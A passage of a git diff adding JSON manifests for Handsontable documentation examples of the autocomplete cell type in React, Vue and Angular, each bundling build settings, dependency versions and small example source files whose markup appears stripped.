a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example7.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example7.tsx.json new file mode 100644 index 00000000..220fc1d0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example7.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · The filteringCaseSensitive option · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example7\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst colors: string[] = [\n 'Black',\n 'Blue',\n 'brown',\n 'cyan',\n 'Gray',\n 'green',\n 'Lime',\n 'Magenta',\n 'Navy',\n 'olive',\n 'orange',\n 'Pink',\n 'Purple',\n 'Red',\n 'silver',\n 'Teal',\n 'White',\n 'Yellow',\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example7.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example7","exampleTitle":"The filteringCaseSensitive option","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example8.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example8.tsx.json new file mode 100644 index 00000000..0f0edd8f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example8.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · The sortByRelevance option · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example8\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst statuses: string[] = [\n 'Backlog',\n 'In progress',\n 'Blocked',\n 'Done',\n 'Cancelled',\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example8.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example8","exampleTitle":"The sortByRelevance option","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example9.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example9.tsx.json new file mode 100644 index 00000000..b5a687af --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example9.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · The allowHtml option · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example9\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst stockStatuses: string[] = [\n 'In stock',\n 'Low stock',\n 'Out of stock',\n 'Backordered',\n 'Discontinued',\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example9.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example9","exampleTitle":"The allowHtml option","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..b8a26cae --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example2.vue.json new file mode 100644 index 00000000..72cfffc3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example2.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example2","exampleTitle":"Autocomplete strict mode","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example3.vue.json new file mode 100644 index 00000000..ab2e4587 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode with asynchronous data · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example3.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode with asynchronous data","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example4.vue.json new file mode 100644 index 00000000..3c3704af --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · Array of values · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example4.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example4","exampleTitle":"Array of values","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example5.vue.json new file mode 100644 index 00000000..51f745da --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example5.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · Array of objects · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example5.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example5","exampleTitle":"Array of objects","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example6.vue.json new file mode 100644 index 00000000..1db74332 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example6.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · The filter option · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example6.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example6","exampleTitle":"The filter option","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example7.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example7.vue.json new file mode 100644 index 00000000..465f4116 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example7.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · The filteringCaseSensitive option · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example7\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example7.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example7","exampleTitle":"The filteringCaseSensitive option","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example8.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example8.vue.json new file mode 100644 index 00000000..05d4191a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example8.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · The sortByRelevance option · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example8\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example8.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example8","exampleTitle":"The sortByRelevance option","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example9.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example9.vue.json new file mode 100644 index 00000000..3bcedc90 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__vue__example9.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · The allowHtml option · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example9\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example9.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example9","exampleTitle":"The allowHtml option","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__angular__example1.ts.json new file mode 100644 index 00000000..36a02b3d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": 